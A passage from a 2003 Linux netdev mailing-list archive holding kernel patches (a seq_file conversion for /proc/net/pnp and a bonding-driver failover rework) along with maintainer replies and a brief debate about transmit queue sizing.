(ic_proto_used & IC_RARP) ? "RARP" + : (ic_proto_used & IC_USE_DHCP) ? "DHCP" : "BOOTP"); else - strcpy(buffer, "#MANUAL\n"); - len = strlen(buffer); + seq_puts(seq, "#MANUAL\n"); if (ic_domain[0]) - len += sprintf(buffer + len, + seq_printf(seq, "domain %s\n", ic_domain); for (i = 0; i < CONF_NAMESERVERS_MAX; i++) { if (ic_nameservers[i] != INADDR_NONE) - len += sprintf(buffer + len, - "nameserver %u.%u.%u.%u\n", - NIPQUAD(ic_nameservers[i])); + seq_printf(seq, "nameserver %u.%u.%u.%u\n", + NIPQUAD(ic_nameservers[i])); } if (ic_servaddr != INADDR_NONE) - len += sprintf(buffer + len, - "bootserver %u.%u.%u.%u\n", - NIPQUAD(ic_servaddr)); - - if (offset > len) - offset = len; - *start = buffer + offset; - - if (offset + length > len) - length = len - offset; - return length; + seq_printf(seq, "bootserver %u.%u.%u.%u\n", + NIPQUAD(ic_servaddr)); + + return 0; } +static int pnp_seq_open(struct inode *inode, struct file *file) +{ + return single_open(file, pnp_seq_show, NULL); +} + +static struct file_operations pnp_seq_fops = { + .owner = THIS_MODULE, + .open = pnp_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; + #endif /* CONFIG_PROC_FS */ /* @@ -1140,7 +1142,7 @@ unsigned long jiff; #ifdef CONFIG_PROC_FS - proc_net_create("pnp", 0, pnp_get_info); + proc_net_fops_create("pnp", S_IRUGO, &pnp_seq_fops); #endif /* CONFIG_PROC_FS */ if (!ic_enable) From davem@pizda.ninka.net Thu Sep 11 16:13:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 16:13:55 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BNDmYa029978 for ; Thu, 11 Sep 2003 16:13:48 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA13276; Thu, 11 Sep 2003 16:02:52 -0700 Date: Thu, 11 Sep 2003 16:02:52 -0700 From: "David S. Miller" To: Ben Greear Cc: jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default Message-Id: <20030911160252.6cd6c07d.davem@redhat.com> In-Reply-To: <3F60F3F7.6090203@candelatech.com> References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> <20030911140746.4f0384a1.davem@redhat.com> <3F60E947.4090005@candelatech.com> <20030911142906.74d9dfe5.davem@redhat.com> <3F60F3F7.6090203@candelatech.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5804 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 241 Lines: 7 On Thu, 11 Sep 2003 15:15:19 -0700 Ben Greear wrote: > And the original poster shows how a similar problem slows down TCP > as well due to local dropped packets. So, again, dampen the per-socket send queue sizes. From davem@pizda.ninka.net Thu Sep 11 16:14:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 16:14:50 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BNEnYa030276 for ; Thu, 11 Sep 2003 16:14:49 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA13288; Thu, 11 Sep 2003 16:03:53 -0700 Date: Thu, 11 Sep 2003 16:03:53 -0700 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] ipv4 -- proc_net_fops_create Message-Id: <20030911160353.1f24336e.davem@redhat.com> In-Reply-To: <20030912.075003.10052777.yoshfuji@linux-ipv6.org> References: <20030911154357.6b31891c.shemminger@osdl.org> <20030912.075003.10052777.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5805 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 303 Lines: 8 On Fri, 12 Sep 2003 07:50:03 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > I sent this kind of patch for net/{core,ipv4,ipv6} to David / netdev on > 8th Sep. David? I'm heavily backlogged and haven't been able to apply any patches. Sorry. I'll try to do some today. From greearb@candelatech.com Thu Sep 11 16:22:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 16:22:43 -0700 (PDT) Received: from grok.yi.org (evrtwa1-ar2-4-35-048-180.evrtwa1.dsl-verizon.net [4.35.48.180]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BNMgYa030760 for ; Thu, 11 Sep 2003 16:22:43 -0700 Received: from candelatech.com (localhost.localdomain [127.0.0.1]) by grok.yi.org (8.12.8/8.12.8) with ESMTP id h8BNMZDx002404; Thu, 11 Sep 2003 16:22:36 -0700 Message-ID: <3F6103BB.5030706@candelatech.com> Date: Thu, 11 Sep 2003 16:22:35 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 CC: jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> <20030911140746.4f0384a1.davem@redhat.com> <3F60E947.4090005@candelatech.com> <20030911142906.74d9dfe5.davem@redhat.com> <3F60F3F7.6090203@candelatech.com> <20030911160252.6cd6c07d.davem@redhat.com> In-Reply-To: <20030911160252.6cd6c07d.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5806 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 543 Lines: 20 David S. Miller wrote: > On Thu, 11 Sep 2003 15:15:19 -0700 > Ben Greear wrote: > > >>And the original poster shows how a similar problem slows down TCP >>as well due to local dropped packets. > > > So, again, dampen the per-socket send queue sizes. That's just a band-aid to cover up the flaw with the lack of queue-pressure feedback to the higher stacks, as would be increasing the TxDescriptors for that matter. -- Ben Greear Candela Technologies Inc http://www.candelatech.com From davem@pizda.ninka.net Thu Sep 11 16:40:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 16:40:12 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BNeBYa001325 for ; Thu, 11 Sep 2003 16:40:11 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA13332; Thu, 11 Sep 2003 16:29:11 -0700 Date: Thu, 11 Sep 2003 16:29:11 -0700 From: "David S. Miller" To: Ben Greear Cc: jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default Message-Id: <20030911162911.589211eb.davem@redhat.com> In-Reply-To: <3F6103BB.5030706@candelatech.com> References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> <20030911140746.4f0384a1.davem@redhat.com> <3F60E947.4090005@candelatech.com> <20030911142906.74d9dfe5.davem@redhat.com> <3F60F3F7.6090203@candelatech.com> <20030911160252.6cd6c07d.davem@redhat.com> <3F6103BB.5030706@candelatech.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5807 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 464 Lines: 13 On Thu, 11 Sep 2003 16:22:35 -0700 Ben Greear wrote: > David S. Miller wrote: > > So, again, dampen the per-socket send queue sizes. > > That's just a band-aid to cover up the flaw with the lack > of queue-pressure feedback to the higher stacks, as would be increasing the > TxDescriptors for that matter. The whole point of the various packet scheduler algorithms are foregone if we're just going to queue up and send the crap again. From davem@pizda.ninka.net Thu Sep 11 16:42:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 16:42:16 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BNgGYa001668 for ; Thu, 11 Sep 2003 16:42:16 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA13359; Thu, 11 Sep 2003 16:31:20 -0700 Date: Thu, 11 Sep 2003 16:31:20 -0700 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [RESEND 1/3] /proc/net/{igmp,msfilter,raw,rt_cache,ip6_flowlabel,msfilter6,raw6} may drop some data Message-Id: <20030911163120.34e9e640.davem@redhat.com> In-Reply-To: <20030910.115349.78624567.yoshfuji@linux-ipv6.org> References: <20030904004638.1d4b001d.davem@redhat.com> <20030906.160458.39800982.yoshfuji@linux-ipv6.org> <20030910.115349.78624567.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5808 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 30 Lines: 2 Applied, thank you Yoshfuji. From davem@pizda.ninka.net Thu Sep 11 16:44:25 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 16:44:25 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BNiPYa002017 for ; Thu, 11 Sep 2003 16:44:25 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA13381; Thu, 11 Sep 2003 16:33:29 -0700 Date: Thu, 11 Sep 2003 16:33:29 -0700 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [RESEND 2/3] /proc/net/if_inet6 may drop some data Message-Id: <20030911163329.6f77fbd5.davem@redhat.com> In-Reply-To: <20030910.115353.05248507.yoshfuji@linux-ipv6.org> References: <20030904004638.1d4b001d.davem@redhat.com> <20030906.160458.39800982.yoshfuji@linux-ipv6.org> <20030910.115353.05248507.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5809 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 18 Lines: 2 Applied, thanks. From davem@pizda.ninka.net Thu Sep 11 16:45:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 16:45:24 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BNjNYa002344 for ; Thu, 11 Sep 2003 16:45:23 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA13408; Thu, 11 Sep 2003 16:34:27 -0700 Date: Thu, 11 Sep 2003 16:34:27 -0700 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [RESEND 3/3] clean up /proc/net/{anycast6,igmp6} Message-Id: <20030911163427.705d316b.davem@redhat.com> In-Reply-To: <20030910.115356.107533747.yoshfuji@linux-ipv6.org> References: <20030904004638.1d4b001d.davem@redhat.com> <20030906.160458.39800982.yoshfuji@linux-ipv6.org> <20030910.115356.107533747.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5810 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 18 Lines: 2 Applied, thanks. From davem@pizda.ninka.net Thu Sep 11 16:51:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 16:51:13 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BNpCYa002776 for ; Thu, 11 Sep 2003 16:51:12 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA13481; Thu, 11 Sep 2003 16:39:36 -0700 Date: Thu, 11 Sep 2003 16:39:36 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, levon@movementarian.org, linux-atm-general@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Linux-ATM-General] [PATCH] ATM - remove unnecessary GFP_ATOMIC allocation Message-Id: <20030911163936.2bb13af3.davem@redhat.com> In-Reply-To: <200309051252.h85CqKSa005300@ginger.cmf.nrl.navy.mil> References: <20030905115308.GA96209@compsoc.man.ac.uk> <200309051252.h85CqKSa005300@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5811 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 230 Lines: 8 On Fri, 05 Sep 2003 08:52:22 -0400 chas williams wrote: > dave, please apply to 2.6 (and 2.4) --thanks > > [ATM]: remove unnecessary GFP_ATOMIC allocation (from levon@movementarian.org) Applied, thanks. From davem@pizda.ninka.net Thu Sep 11 16:54:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 16:54:01 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BNs0Ya003129 for ; Thu, 11 Sep 2003 16:54:00 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA13576; Thu, 11 Sep 2003 16:43:05 -0700 Date: Thu, 11 Sep 2003 16:43:05 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] unneeded proc_fs.h includes in packet schedulers Message-Id: <20030911164305.26b6487a.davem@redhat.com> In-Reply-To: <20030905135935.682936bc.shemminger@osdl.org> References: <20030905135935.682936bc.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5812 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 148 Lines: 6 On Fri, 5 Sep 2003 13:59:35 -0700 Stephen Hemminger wrote: > Following include proc_fs.h but don't use it. Applied, thanks. From davem@pizda.ninka.net Thu Sep 11 16:54:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 16:54:46 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BNsjYa003408 for ; Thu, 11 Sep 2003 16:54:45 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA13598; Thu, 11 Sep 2003 16:43:50 -0700 Date: Thu, 11 Sep 2003 16:43:50 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] convert packet scheduler API to single_open Message-Id: <20030911164350.346f5ab3.davem@redhat.com> In-Reply-To: <20030905140104.6a9ed33a.shemminger@osdl.org> References: <20030905140104.6a9ed33a.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5813 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 202 Lines: 8 On Fri, 5 Sep 2003 14:01:04 -0700 Stephen Hemminger wrote: > Convert /proc/net/psched to use seq_file; almost trivial. > > Patch against 2.6.0-test4 bk latest. Applied, thanks. From davem@pizda.ninka.net Thu Sep 11 17:00:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 17:00:01 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C000Ya003865 for ; Thu, 11 Sep 2003 17:00:00 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA13620; Thu, 11 Sep 2003 16:49:03 -0700 Date: Thu, 11 Sep 2003 16:49:03 -0700 From: "David S. Miller" To: Michael Rozhavsky Cc: netdev@oss.sgi.com Subject: Re: [PATCH] fix locking Message-Id: <20030911164903.63f0010b.davem@redhat.com> In-Reply-To: <20030906002649.GA32369@server-mrozhavsky.dyndns.org> References: <20030906002649.GA32369@server-mrozhavsky.dyndns.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5814 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 498 Lines: 14 On Fri, 5 Sep 2003 17:26:49 -0700 Michael Rozhavsky wrote: > I've found two problems with locking in networking code. Not applied, in both cases a higher order lock guarentees that nobody else can add elements to the list. We only need to lock to make sure readers (who don't take the higher level lock) see a consistent list state. In the tcp_ipv4.c case, the higher level lock is the listening socket lock. In the sit.c case the higher level lock is the RTNL semaphore. From davem@pizda.ninka.net Thu Sep 11 17:02:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 17:02:01 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C020Ya004257 for ; Thu, 11 Sep 2003 17:02:00 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA13672; Thu, 11 Sep 2003 16:51:03 -0700 Date: Thu, 11 Sep 2003 16:51:03 -0700 From: "David S. Miller" To: Dennis =?ISO-8859-1?Q?J=F8rgensen?= Cc: netdev@oss.sgi.com Subject: Re: Trivial fix for wrong error message from icmp.c (2.6.0-test4) Message-Id: <20030911165103.71b16f1a.davem@redhat.com> In-Reply-To: References: <20030905024736.4acefe68.davem@redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8C020Ya004257 X-archive-position: 5815 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 237 Lines: 11 On Sat, 6 Sep 2003 14:30:27 +0200 (CEST) Dennis Jørgensen wrote: > On Fri, 5 Sep 2003, David S. Miller wrote: > > > I can't apply this patch until you fix that up. > > It should be better now. Applied, thank you. From amir.noam@intel.com Thu Sep 11 17:17:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 17:17:26 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C0HNYa005310 for ; Thu, 11 Sep 2003 17:17:23 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8BEa7Q14936 for ; Thu, 11 Sep 2003 14:36:07 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8BEXAI16537 for ; Thu, 11 Sep 2003 14:33:10 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs042.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091107382128828 ; Thu, 11 Sep 2003 07:38:22 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 2/10] [bonding 2.6] fix monitoring functions Date: Thu, 11 Sep 2003 17:38:20 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Message-Id: <200309111738.20957.amir.noam@intel.com> X-archive-position: 5817 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 6940 Lines: 233 diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:14 2003 +++ b/drivers/net/bonding/bond_main.c Thu Sep 11 16:48:15 2003 @@ -2191,8 +2191,9 @@ out: static void bond_mii_monitor(struct net_device *master) { bonding_t *bond = (struct bonding *) master->priv; - slave_t *slave, *bestslave, *oldcurrent; + slave_t *slave, *oldcurrent; int slave_died = 0; + int do_failover = 0; read_lock(&bond->lock); @@ -2202,7 +2203,6 @@ static void bond_mii_monitor(struct net_ * program could monitor the link itself if needed. */ - bestslave = NULL; slave = (slave_t *)bond; read_lock(&bond->ptrlock); @@ -2210,8 +2210,6 @@ static void bond_mii_monitor(struct net_ read_unlock(&bond->ptrlock); while ((slave = slave->prev) != (slave_t *)bond) { - /* use updelay+1 to match an UP slave even when updelay is 0 */ - int mindelay = updelay + 1; struct net_device *dev = slave->dev; int link_state; u16 old_speed = slave->speed; @@ -2222,14 +2220,7 @@ static void bond_mii_monitor(struct net_ switch (slave->link) { case BOND_LINK_UP: /* the link was up */ if (link_state == BMSR_LSTATUS) { - /* link stays up, tell that this one - is immediately available */ - if (IS_UP(dev) && (mindelay > -2)) { - /* -2 is the best case : - this slave was already up */ - mindelay = -2; - bestslave = slave; - } + /* link stays up, nothing more to do */ break; } else { /* link going down */ @@ -2269,6 +2260,7 @@ static void bond_mii_monitor(struct net_ (bond_mode == BOND_MODE_8023AD)) { bond_set_slave_inactive_flags(slave); } + printk(KERN_INFO "%s: link status definitely down " "for interface %s, disabling it", @@ -2285,12 +2277,10 @@ static void bond_mii_monitor(struct net_ bond_alb_handle_link_change(bond, slave, BOND_LINK_DOWN); } - write_lock(&bond->ptrlock); - if (slave == bond->current_slave) { - /* find a new interface and be verbose */ - reselect_active_interface(bond); + if (slave == oldcurrent) { + do_failover = 1; } - write_unlock(&bond->ptrlock); + slave_died = 1; } else { slave->delay--; @@ -2305,13 +2295,6 @@ static void bond_mii_monitor(struct net_ master->name, (downdelay - slave->delay) * miimon, dev->name); - - if (IS_UP(dev) && (mindelay > -1)) { - /* -1 is a good case : this slave went - down only for a short time */ - mindelay = -1; - bestslave = slave; - } } break; case BOND_LINK_DOWN: /* the link was down */ @@ -2381,26 +2364,12 @@ static void bond_mii_monitor(struct net_ bond_alb_handle_link_change(bond, slave, BOND_LINK_UP); } - write_lock(&bond->ptrlock); - if ( (bond->primary_slave != NULL) - && (slave == bond->primary_slave) ) - reselect_active_interface(bond); - write_unlock(&bond->ptrlock); - } - else + if ((oldcurrent == NULL) || + (slave == bond->primary_slave)) { + do_failover = 1; + } + } else { slave->delay--; - - /* we'll also look for the mostly eligible slave */ - if (bond->primary_slave == NULL) { - if (IS_UP(dev) && (slave->delay < mindelay)) { - mindelay = slave->delay; - bestslave = slave; - } - } else if ( (IS_UP(bond->primary_slave->dev)) || - ( (!IS_UP(bond->primary_slave->dev)) && - (IS_UP(dev) && (slave->delay < mindelay)) ) ) { - mindelay = slave->delay; - bestslave = slave; } } break; @@ -2419,26 +2388,17 @@ static void bond_mii_monitor(struct net_ } /* end of while */ - /* - * if there's no active interface and we discovered that one - * of the slaves could be activated earlier, so we do it. - */ - read_lock(&bond->ptrlock); - oldcurrent = bond->current_slave; - read_unlock(&bond->ptrlock); + if (do_failover) { + write_lock(&bond->ptrlock); - /* no active interface at the moment or need to bring up the primary */ - if (oldcurrent == NULL) { /* no active interface at the moment */ - if (bestslave != NULL) { /* last chance to find one ? */ - write_lock(&bond->ptrlock); - change_active_interface(bond, bestslave); - write_unlock(&bond->ptrlock); - } else if (slave_died) { - /* print this message only once a slave has just died */ + reselect_active_interface(bond); + if (oldcurrent && !bond->current_slave) { printk(KERN_INFO "%s: now running without any active interface !\n", master->name); } + + write_unlock(&bond->ptrlock); } read_unlock(&bond->lock); @@ -2456,9 +2416,10 @@ static void bond_mii_monitor(struct net_ static void loadbalance_arp_monitor(struct net_device *master) { bonding_t *bond; - slave_t *slave; + slave_t *slave, *oldcurrent; int the_delta_in_ticks = arp_interval * HZ / 1000; int next_timer = jiffies + (arp_interval * HZ / 1000); + int do_failover = 0; bond = (struct bonding *) master->priv; if (master->priv == NULL) { @@ -2482,6 +2443,10 @@ static void loadbalance_arp_monitor(stru read_lock(&bond->lock); + read_lock(&bond->ptrlock); + oldcurrent = bond->current_slave; + read_unlock(&bond->ptrlock); + /* see if any of the previous devices are up now (i.e. they have * xmt and rcv traffic). the current_slave does not come into * the picture unless it is null. also, slave->jiffies is not needed @@ -2508,21 +2473,19 @@ static void loadbalance_arp_monitor(stru * current_slave being null after enslaving * is closed. */ - write_lock(&bond->ptrlock); - if (bond->current_slave == NULL) { + if (oldcurrent == NULL) { printk(KERN_INFO "%s: link status definitely up " "for interface %s, ", master->name, slave->dev->name); - reselect_active_interface(bond); + do_failover = 1; } else { printk(KERN_INFO "%s: interface %s is now up\n", master->name, slave->dev->name); } - write_unlock(&bond->ptrlock); } } else { /* slave->link == BOND_LINK_UP */ @@ -2545,11 +2508,9 @@ static void loadbalance_arp_monitor(stru master->name, slave->dev->name); - write_lock(&bond->ptrlock); - if (slave == bond->current_slave) { - reselect_active_interface(bond); + if (slave == oldcurrent) { + do_failover = 1; } - write_unlock(&bond->ptrlock); } } @@ -2563,6 +2524,19 @@ static void loadbalance_arp_monitor(stru if (IS_UP(slave->dev)) { arp_send_all(slave); } + } + + if (do_failover) { + write_lock(&bond->ptrlock); + + reselect_active_interface(bond); + if (oldcurrent && !bond->current_slave) { + printk(KERN_INFO + "%s: now running without any active interface !\n", + master->name); + } + + write_unlock(&bond->ptrlock); } read_unlock(&bond->lock); From scott.feldman@intel.com Thu Sep 11 17:46:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 17:46:20 -0700 (PDT) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C0kFYa006691 for ; Thu, 11 Sep 2003 17:46:16 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com 